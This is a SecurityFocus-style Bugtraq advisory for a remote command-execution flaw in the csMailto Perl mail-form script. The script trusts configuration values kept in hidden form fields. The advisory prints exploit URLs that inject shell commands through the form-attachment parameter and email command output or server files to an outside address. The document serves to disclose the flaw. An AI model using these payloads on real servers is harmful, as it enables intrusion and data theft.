CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

Bugtraq ID:	4579
Class:	Input Validation Error
CVE:	CVE-2002-0749 CVE-2002-0751
Remote:	Yes
Local:	No
Published:	Apr 23 2002 12:00AM
Updated:	Jul 11 2009 12:46PM
Credit:	Discovered by Steve Gustin <[email protected]>.
Vulnerable:	CGISCRIPT.NET csMailto
Not Vulnerable:

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

CGIScript.NET csMailto is a Perl script designed to support multiple mailto: forms. A vulnerability has been reported in some versions of this script.

Reportedly, configuration values used by the script are contained in hidden form values. As a result, a remote attacker may trivially modify these values between script invocations. Consequences include arbitrary command execution on the vulnerable system.

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

Multiple exploits are provided by Steve Gustin <[email protected]>, including:

- execute commands on server

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&command=mailform

- execute command on server and mail output to anyone

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&[email protected]&form-autoresponse=YES&command=mailform

- email server file to anyone

CSMailto.cgi?form-attachment=FILEPATH_HERE&[email protected]&form-autoresponse=YES&command=mailform

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

References:

• CGISCRIPT.NET Homepage (CGISCRIPT.NET)